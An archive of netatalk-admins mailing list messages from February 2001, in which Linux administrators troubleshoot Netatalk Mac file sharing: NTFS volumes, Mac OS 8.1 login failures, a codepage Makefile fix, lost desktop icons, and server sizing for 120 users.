This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C09A64.D2CD7060
Content-Type: text/plain;
	charset="iso-8859-1"

Hi,

Chances are that your NTFS parition is read-only (AFAIK the latest status of
the NTFS driver on Linux).
Netatalk seems to need writing .AppleDouble dirs to be able to share
something correctly. Maybe have a look at the problems related to CD-sharing
on this list, and have a try!

HTH
Thierry

-----Original Message-----
From: Mark Jenkins [mailto:mark@greenonline.co.uk]
Sent: Sunday, February 18, 2001 5:57 PM
To: netatalk-admins@umich.edu
Subject: NTFS over Netatalk


I'm running Mandrake 7.0  (kernel 2.2.14-15), and netatalk-1.4b2.  I
have an NTFS partition mounted that I wish to share over Appletalk. The
server name appears in the chooser, and the volume is listed when I log
on. However when I click on it it says that the attempted connection
failed.  A  shared ext2fs partition on the same machine mounts just fine
on the mac.  Is it not possible for netatalk to mount NTFS partitions
over AppleTalk, just ext2fs?  Would it be better for me to use the
in-built kernel support that I have not, as yet, tried?

I have looked thru' the READMEs, netatak web site and HOWTOs but not
seen an answer. Can anyone help?

Thanks,
Mark
-- 
Mark Graham Jenkins
Web Administrator
GreenOnline
Green Productions

Tel: + 44 (0) 1494 527 428
Fax: + 44 (0) 1494 527 428
Mobile 0780 1366519
E-mail : mark@greenonline.co.uk
Web: http://www.greenonline.co.uk

------_=_NextPart_001_01C09A64.D2CD7060
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2653.12">
<TITLE>RE: NTFS over Netatalk</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>Hi,</FONT>
</P>

<P><FONT SIZE=3D2>Chances are that your NTFS parition is read-only =
(AFAIK the latest status of the NTFS driver on Linux).</FONT>
<BR><FONT SIZE=3D2>Netatalk seems to need writing .AppleDouble dirs to =
be able to share something correctly. Maybe have a look at the problems =
related to CD-sharing on this list, and have a try!</FONT></P>

<P><FONT SIZE=3D2>HTH</FONT>
<BR><FONT SIZE=3D2>Thierry</FONT>
</P>

<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: Mark Jenkins [<A =
HREF=3D"mailto:mark@greenonline.co.uk">mailto:mark@greenonline.co.uk</A>=
]</FONT>
<BR><FONT SIZE=3D2>Sent: Sunday, February 18, 2001 5:57 PM</FONT>
<BR><FONT SIZE=3D2>To: netatalk-admins@umich.edu</FONT>
<BR><FONT SIZE=3D2>Subject: NTFS over Netatalk</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>I'm running Mandrake 7.0&nbsp; (kernel 2.2.14-15), =
and netatalk-1.4b2.&nbsp; I</FONT>
<BR><FONT SIZE=3D2>have an NTFS partition mounted that I wish to share =
over Appletalk. The</FONT>
<BR><FONT SIZE=3D2>server name appears in the chooser, and the volume =
is listed when I log</FONT>
<BR><FONT SIZE=3D2>on. However when I click on it it says that the =
attempted connection</FONT>
<BR><FONT SIZE=3D2>failed.&nbsp; A&nbsp; shared ext2fs partition on the =
same machine mounts just fine</FONT>
<BR><FONT SIZE=3D2>on the mac.&nbsp; Is it not possible for netatalk to =
mount NTFS partitions</FONT>
<BR><FONT SIZE=3D2>over AppleTalk, just ext2fs?&nbsp; Would it be =
better for me to use the</FONT>
<BR><FONT SIZE=3D2>in-built kernel support that I have not, as yet, =
tried?</FONT>
</P>

<P><FONT SIZE=3D2>I have looked thru' the READMEs, netatak web site and =
HOWTOs but not</FONT>
<BR><FONT SIZE=3D2>seen an answer. Can anyone help?</FONT>
</P>

<P><FONT SIZE=3D2>Thanks,</FONT>
<BR><FONT SIZE=3D2>Mark</FONT>
<BR><FONT SIZE=3D2>-- </FONT>
<BR><FONT SIZE=3D2>Mark Graham Jenkins</FONT>
<BR><FONT SIZE=3D2>Web Administrator</FONT>
<BR><FONT SIZE=3D2>GreenOnline</FONT>
<BR><FONT SIZE=3D2>Green Productions</FONT>
</P>

<P><FONT SIZE=3D2>Tel: + 44 (0) 1494 527 428</FONT>
<BR><FONT SIZE=3D2>Fax: + 44 (0) 1494 527 428</FONT>
<BR><FONT SIZE=3D2>Mobile 0780 1366519</FONT>
<BR><FONT SIZE=3D2>E-mail : mark@greenonline.co.uk</FONT>
<BR><FONT SIZE=3D2>Web: <A HREF=3D"http://www.greenonline.co.uk" =
TARGET=3D"_blank">http://www.greenonline.co.uk</A></FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C09A64.D2CD7060--

From netatalk.administrators-errors@umich.edu  Mon Feb 19 08:26:13 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA03964
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 19 Feb 2001 08:26:13 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA05933
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 19 Feb 2001 08:26:13 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA05927
	for netatalk.administrators-members@umich.edu; Mon, 19 Feb 2001 08:26:12 -0500 (EST)
Received: from scbbs-bo.com (ns.scbbs.com.bo [166.114.154.21])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA05911
	for <netatalk-admins@umich.edu>; Mon, 19 Feb 2001 08:26:10 -0500 (EST)
Received: from ns.scbbs-bo.com [166.114.154.21] by scbbs-bo.com
  (SMTPD32-6.06) id AE5D2FC8024A; Mon, 19 Feb 2001 09:23:41 -0400
Received: FROM [192.168.1.60] BY ns.scbbs-bo.com ; Mon Feb 19 09:23:40 2001 -0400
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Mon, 19 Feb 2001 09:25:05 -0400
Subject: unsubscribe
From: "Martin Oblitas F." <martin@virtualbo.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B6B696EE.1FB1%martin@virtualbo.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit



From netatalk.administrators-errors@umich.edu  Mon Feb 19 09:46:34 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA06903
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 19 Feb 2001 09:46:34 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA05210
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 19 Feb 2001 09:46:34 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA05198
	for netatalk.administrators-members@umich.edu; Mon, 19 Feb 2001 09:46:33 -0500 (EST)
Received: from gorila.master.com.br ([200.250.181.129])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA05111
	for <netatalk-admins@umich.edu>; Mon, 19 Feb 2001 09:46:30 -0500 (EST)
Received: from master.com.br (IDENT:cass@[200.250.181.150])
	by gorila.master.com.br (8.9.3/8.9.3) with ESMTP id LAA08589
	for <netatalk-admins@umich.edu>; Mon, 19 Feb 2001 11:38:03 -0300
Message-ID: <3A91302F.8010009@master.com.br>
Date: Mon, 19 Feb 2001 11:39:43 -0300
From: Cass Surek <cass@master.com.br>
User-Agent: Mozilla/5.0 (X11; U; Linux 2.2.17-14cl i686; en-US; m18) Gecko/20001107 Netscape6/6.0
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Mac OS 8.1
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Guys,

Are there any problems with the Mac OS 8.1 and netatalk?

8.1 doesn't work (it won't even bring me the login page), but 8.6 does.

Thank you for any clues,

Cass Surek




From netatalk.administrators-errors@umich.edu  Mon Feb 19 10:47:36 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA08868
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 19 Feb 2001 10:47:36 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA10239
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 19 Feb 2001 10:47:35 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA10200
	for netatalk.administrators-members@umich.edu; Mon, 19 Feb 2001 10:47:34 -0500 (EST)
Received: from univrel.pr.uconn.edu (univrel.pr.uconn.edu [137.99.59.30])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA10106
	for <netatalk-admins@umich.edu>; Mon, 19 Feb 2001 10:47:31 -0500 (EST)
Received: from univrel.pr.uconn.edu (root@test.pr.uconn.edu [137.99.59.90])
	by univrel.pr.uconn.edu (8.8.7/8.8.7) with ESMTP id KAA30110;
	Mon, 19 Feb 2001 10:47:29 -0500
Sender: root@univrel.pr.uconn.edu
Message-ID: <3A913F90.4055AEB7@univrel.pr.uconn.edu>
Date: Mon, 19 Feb 2001 10:45:20 -0500
From: jeff <jeff@univrel.pr.uconn.edu>
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.4.0-0.14mdk i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Donald Lee <donlee@icompute.com>
CC: netatalk-admins@umich.edu, netatalk-devel@lists.sourceforge.net
Subject: Re: patch for mswindows option to netatalk-1.4b2+asun2.1.3
References: <v03130300b6b477d492aa@[209.46.8.69]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Donald Lee wrote:
> 
> At 10:25 AM -0600 2/11/01, Frank Joerdens wrote:
> >The codepage support still seems to be broken in 1.5pre3 (interestingly,
> >it complains if it can't find the nls directory, so it _is_ looking for
> >the codepage . . . but somehow it doesn't get applied). The mswindows
> >option does work, though, in that I can't rename folders so as to
> >contain ???, for instance. I am using netatalk-1.4b2+asun2.1.3 with a SuSE
> >specific patch, where the codepage support works, but where I don't have
> >the mswindows option. I am wondering, does anyone have a patch to
> >include the mswindows option into this version?
> >
> >Cheers, Frank
> 
> When I built my netatalk, I had trouble with the part opf the makefile
> that built the nls stuff.  I found that if you built from a clean
> un-tar of the package, it would build fine, but if you ran it a second time
> it would fail.  I don't remember the details, but as I recall, the makefile
> that built some of this stuff didn't re-do one of its steps if the file
> already existed.

The fix mentioned below has been applied to the CVS tree, applied to
etc/afpd/nls/Makefile.am

Thanks for reporting this.
jeff

> As I recall, this was my fix:
> 
> (etc/afpd/nls/Makefile)
> 
> SRC = makecode.c parsecode.c
> OBJ = makecode.o parsecode.o
> 
> INCPATH= -I../../../include
> CFLAGS= ${DEFS} ${OPTOPTS} ${INCPATH}
> 
> all:: parsecode makecode
> 
> parsecode: parsecode.o
>         ${CC} ${CFLAGS} ${LDFLAGS} parsecode.o -o parsecode
> 
> makecode: makecode.o
>         ${CC} ${CFLAGS} ${LDFLAGS} makecode.o -o makecode
> 
> install:
>         ./makecode              # <<< ADD THIS LINE ***************
>         -mkdir ${RESDIR}/nls
>         ${INSTALL} -m 644 maccode.* ${RESDIR}/nls
> 
> clean:
>         rm -f *.o
>         rm -f makecode parsecode
> 
> -dgl-

From netatalk.administrators-errors@umich.edu  Mon Feb 19 14:46:30 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA16071
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 19 Feb 2001 14:46:30 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA04669
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 19 Feb 2001 14:46:30 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA04642
	for netatalk.administrators-members@umich.edu; Mon, 19 Feb 2001 14:46:29 -0500 (EST)
Received: from heretic.mabaleb.org (heretic.mabaleb.org [63.225.255.133])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA04612
	for <netatalk-admins@umich.edu>; Mon, 19 Feb 2001 14:46:28 -0500 (EST)
From: mbartosh@heretic.mabaleb.org
Received: from localhost (mbartosh@localhost)
	by heretic.mabaleb.org (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id KAA00742;
	Sun, 18 Feb 2001 10:49:50 -0600
Date: Sun, 18 Feb 2001 10:49:50 -0600 (CST)
To: Ian Wojtowicz <i@woj.com>
cc: richard@prototec.co.nz, netatalk-admins@umich.edu
Subject: Re: Apple, Netatalk, OS X
In-Reply-To: <B6B1A28F.6CD4%i@woj.com>
Message-ID: <Pine.LNX.4.21.0102181049470.740-100000@heretic.mabaleb.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


No.

On Thu, 15 Feb 2001, Ian Wojtowicz wrote:

>Hi Richard.
>
>> I thought OS X would work fine with NFS.
>
>Does NFS on OS X support all the great features we expect from appletalk
>file servers like custom icons, persistent icon arrangements (and window
>locations), robust file aliases, etc.? Or are these features abstracted away
>from the filesystem/protocol layer?
>
>___________________________________________________________________________
>ian wojtowicz                                                http://woj.com
>


From netatalk.administrators-errors@umich.edu  Mon Feb 19 15:47:15 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA17898
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 19 Feb 2001 15:47:14 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA23802
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 19 Feb 2001 15:47:14 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA23769
	for netatalk.administrators-members@umich.edu; Mon, 19 Feb 2001 15:47:13 -0500 (EST)
Received: from zevils.com (ool-18b85b9c.dyn.optonline.net [24.184.91.156])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA23745
	for <netatalk-admins@umich.edu>; Mon, 19 Feb 2001 15:47:12 -0500 (EST)
Received: from localhost ([127.0.0.1] ident=dukenukm)
	by zevils.com with esmtp (Exim 3.22 #1 (Debian))
	id 14UxDB-0001rZ-00; Mon, 19 Feb 2001 15:47:09 -0500
Date: Mon, 19 Feb 2001 15:47:09 -0500 (EST)
From: Flint Million <dukenukm@zevils.com>
X-Sender:  <dukenukm@zevils>
To: Marc Miller <itlm019@mailbox.ucdavis.edu>
cc: <netatalk-admins@umich.edu>
Subject: Re: lost AppleDesktop data!
In-Reply-To: <Pine.GSO.4.21.0102141524140.11179-100000@runner.ucdavis.edu>
Message-ID: <Pine.LNX.4.30.0102191544180.7081-100000@zevils>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII



On Wed, 14 Feb 2001, Marc Miller wrote:

> You can try rebuilding the desktop (see your MacOS manual on that), but I
> don't know if that will bring back your icons or not.

Hmmmm... I'm not sure how to do that on a network drive. I know you can
rebuild the desktop on the HD by holding down something like
Command-option while booting, but that doesn't work on net drives.

> If that doesn't
> work, you'll just have to open up one file of each file type and resave it
> (forcing the AppleDesktop icon and file type data to be rewritten).
>
OK, that works for those apps that actually save data, but some of the
apps do not have any save features (mostly because they don't need
them)...

> > netatalk 1.4+asun1.2
> > linux 2.2.16 in an i486
> >
> >


From netatalk.administrators-errors@umich.edu  Mon Feb 19 23:12:01 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA27252
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 19 Feb 2001 23:12:00 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA20367
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 19 Feb 2001 23:12:00 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA20354
	for netatalk.administrators-members@umich.edu; Mon, 19 Feb 2001 23:12:00 -0500 (EST)
Received: from mail.his.com (herndon10.his.com [209.67.207.13])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id XAA20314
	for <netatalk-admins@umich.edu>; Mon, 19 Feb 2001 23:11:59 -0500 (EST)
Received: from [192.168.1.254] (rzeman.his.com [205.252.121.43])
	by mail.his.com (8.9.3/8.9.3) with ESMTP id XAA27651
	for <netatalk-admins@umich.edu>; Mon, 19 Feb 2001 23:11:57 -0500 (EST)
User-Agent: Microsoft-Entourage/9.0.2509
Date: Mon, 19 Feb 2001 23:12:51 -0500
Subject: Afp_enumerate
From: Rick Zeman <rzeman@his.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B6B758F2.22E9%rzeman@his.com>
In-Reply-To: <Pine.LNX.4.30.0102191544180.7081-100000@zevils>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

I have a problem when mounting a netatalk (1.4b2+asun2.14) volume from a
Mac.  While it's mounting, the Mac goes of into cyberspace and
"afp_enumerate: stat <filename>: No such file or directory" shows up in
messages.  After about 20 seconds, the Mac comes back and mounting proceeds
normally.

I suspect that this was a Mac file that I deleted from linux itself, not
from a Mac.  There's no file or folder called that, nor is there any
.AppleDoubles with that name.

Any help how I can get rid of this?  Tnx.
-- 
_______________________________
You say you are lying.  But if everything you say is a lie, then you are
telling the truth.  You cannot tell the truth because everything you say
is a lie.  You lie, you tell the truth...but you cannot, for you lie.
   --Norman the android, "I, Mudd"           <mailto:rzeman@his.com>


From netatalk.administrators-errors@umich.edu  Tue Feb 20 10:12:39 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA09431
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 20 Feb 2001 10:12:39 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA19050
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 20 Feb 2001 10:12:32 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA19028
	for netatalk.administrators-members@umich.edu; Tue, 20 Feb 2001 10:12:32 -0500 (EST)
Received: from tsmtp3.ldap.isp ([195.235.113.141])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA18779
	for <netatalk-admins@umich.edu>; Tue, 20 Feb 2001 10:12:20 -0500 (EST)
Received: from macserver ([213.96.54.28]) by tsmtp3.ldap.isp
          (Netscape Messaging Server 4.15) with SMTP id G92A2W04.PU2 for
          <netatalk-admins@umich.edu>; Tue, 20 Feb 2001 16:08:56 +0100 
Message-ID: <000a01c09b4f$21e1c620$1a00a8c0@macserver>
From: "Jesus" <jolivan@interaccionbcn.com>
To: <netatalk-admins@umich.edu>
Subject: file extensions mapping file
Date: Tue, 20 Feb 2001 16:09:31 +0100
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0007_01C09B57.827C2D10"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700

This is a multi-part message in MIME format.

------=_NextPart_000_0007_01C09B57.827C2D10
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

anyone have a valid complete file of extension mappings and translations =
for AppleVolumes.system? i use netatalk 1.4b2+asun1.3.7.

Thanks in advance =3D)

------=_NextPart_000_0007_01C09B57.827C2D10
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2920.0" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>anyone have a valid complete file of =
extension=20
mappings and translations for AppleVolumes.system? i use netatalk=20
1.4b2+asun1.3.7.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thanks in advance =
=3D)</FONT></DIV></BODY></HTML>

------=_NextPart_000_0007_01C09B57.827C2D10--


From netatalk.administrators-errors@umich.edu  Tue Feb 20 10:40:05 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA10326
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 20 Feb 2001 10:40:05 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA23812
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 20 Feb 2001 10:40:05 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA23737
	for netatalk.administrators-members@umich.edu; Tue, 20 Feb 2001 10:40:02 -0500 (EST)
Received: from univrel.pr.uconn.edu (univrel.pr.uconn.edu [137.99.59.30])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA23561
	for <netatalk-admins@umich.edu>; Tue, 20 Feb 2001 10:39:56 -0500 (EST)
Received: from univrel.pr.uconn.edu (root@test.pr.uconn.edu [137.99.59.90])
	by univrel.pr.uconn.edu (8.8.7/8.8.7) with ESMTP id KAA05484;
	Tue, 20 Feb 2001 10:39:43 -0500
Sender: root@univrel.pr.uconn.edu
Message-ID: <3A928F3E.E3461A8@univrel.pr.uconn.edu>
Date: Tue, 20 Feb 2001 10:37:34 -0500
From: jeff <jeff@univrel.pr.uconn.edu>
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.4.0-0.14mdk i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Jesus <jolivan@interaccionbcn.com>
CC: netatalk-admins@umich.edu
Subject: Re: file extensions mapping file
References: <000a01c09b4f$21e1c620$1a00a8c0@macserver>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

> Jesus wrote:
> 
> anyone have a valid complete file of extension mappings and
> translations for AppleVolumes.system? i use netatalk 1.4b2+asun1.3.7.
> 
> Thanks in advance =)

Check the AppleVolumes.system file (usually installed in /etc/atalk or
/etc/netatalk), which has the mappings.

jeff

From netatalk.administrators-errors@umich.edu  Tue Feb 20 13:18:24 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA14553
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 20 Feb 2001 13:18:24 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA00309
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 20 Feb 2001 13:18:24 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA00293
	for netatalk.administrators-members@umich.edu; Tue, 20 Feb 2001 13:18:23 -0500 (EST)
Received: from mhp_nt1.hopkins.co.uk (mailgate.hopkins.co.uk [194.159.148.2])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA00257
	for <netatalk-admins@umich.edu>; Tue, 20 Feb 2001 13:18:22 -0500 (EST)
Received: from 194.159.148.247 (no-dns-yet.demon.co.uk [194.159.148.247]) by mhp_nt1.hopkins.co.uk with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0)
	id FBW180JK; Tue, 20 Feb 2001 18:16:46 -0000
Date: Tue, 20 Feb 2001 18:18:51 +0000
From: Rory Campbell-Lange <rory@campbell-lange.net>
Subject: Netatalk ok, reliable for large no of users?
To: netatalk-admins@umich.edu
X-Priority: 3
Message-ID: <20010220181944-r01010600-8d24ad01@194.159.148.247>
MIME-Version: 1.0
Content-Type: text/plain; Charset=US-ASCII
X-Mailer: Mailsmith 1.1.6 (Bluto)

Hi

We're running about 120 Mac users off 1 NT4 Compaq Proliant 1600 server in
a flat network arrangement that is fully switched. The NT4 server has a
single 100Mb card set to full duplex. Its 40Gb disk space is running at
about 95% full. We need to replace this server with one or more servers
providing, probably, a faster network interface - dual network cards - and
about 100Gb file serving space.

I ran a couple of tests comparing the performance over the network of
reading and writing files over AoIP to a 7200 (<100Mb RAM) working as our
intranet server, and compared this performance to the NT4 server. I used
the helios lantest to do the tests, using small 3000K files. It seems that
we would gain from a large benefit in network performance if we moved to
AoIP if I'm correct in thinking that the Linux box would have done better
with a 100Mb card set to full duplex. I might be wrong though!


in KB/sec                   NT4         Linux
write 3000KB file           756         810
read 3000KB file            870         1024

I am trying to select the correct hardware/software combination for these
file servers. We do not have complex group/user configuration, and there is
relatively little protection of directories as we work in a collaborative
work environment. Our main network usage of files are Microstation CAD
files, few of which are over 3Mb in size.

Is netatalk/Linux a viable alternative to NT4/Windows 2000 for file serving
for about 120 Mac users? Or should I be waiting for the new OSX server?

I'd be really grateful for any advice or comment
Rory
--
	Rory Campbell-Lange
	The Campbell-Lange Workshop
	London

From netatalk.administrators-errors@umich.edu  Tue Feb 20 13:39:59 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA15049
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 20 Feb 2001 13:39:59 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA10675
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 20 Feb 2001 13:39:52 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA10652
	for netatalk.administrators-members@umich.edu; Tue, 20 Feb 2001 13:39:51 -0500 (EST)
Received: from potsdam.edu (potsdam.edu [137.143.110.101])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id NAA10467
	for <netatalk-admins@umich.edu>; Tue, 20 Feb 2001 13:39:46 -0500 (EST)
Received: (qmail 21600 invoked by alias); 20 Feb 2001 18:40:00 -0000
Received: (qmail 21588 invoked by uid 0); 20 Feb 2001 18:39:59 -0000
Received: from comp10574.potsdam.edu (HELO potsdam.edu) (137.143.111.133)
  by potsdam.edu with SMTP; 20 Feb 2001 18:39:59 -0000
Message-ID: <3A92BA7F.EDF9F986@potsdam.edu>
Date: Tue, 20 Feb 2001 13:42:07 -0500
From: Matthew Keller <kellermg@potsdam.edu>
X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Rory Campbell-Lange <rory@campbell-lange.net>
CC: netatalk-admins@umich.edu
Subject: Re: Netatalk ok, reliable for large no of users?
References: <20010220181944-r01010600-8d24ad01@194.159.148.247>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Rory Campbell-Lange wrote:
> Is netatalk/Linux a viable alternative to NT4/Windows 2000 for file serving
> for about 120 Mac users?

	Piece of cake- Just don't be skimpy on the fast disks or RAM. :) One
possible problem (but not always): If multiple users have the same exact
file open on a Netalk server- Depending how the program deals with
locking, you may get file corruption problems. This is easily tested by,
quite simply, throwing such a file on a Netatalk server, and have a
couple people do whatever it is they do at the same time, and see what
breaks (or doesn't).	

-- 

 Matthew Keller
 WebMaster, Interim Network Manager & 
   Host Systems Analyst
 Computing & Technology Services
 Information Services Division
 State University of New York at Potsdam
 
 Website: http://mattwork.potsdam.edu/
 PGP: http://mattwork.potsdam.edu/crypto/

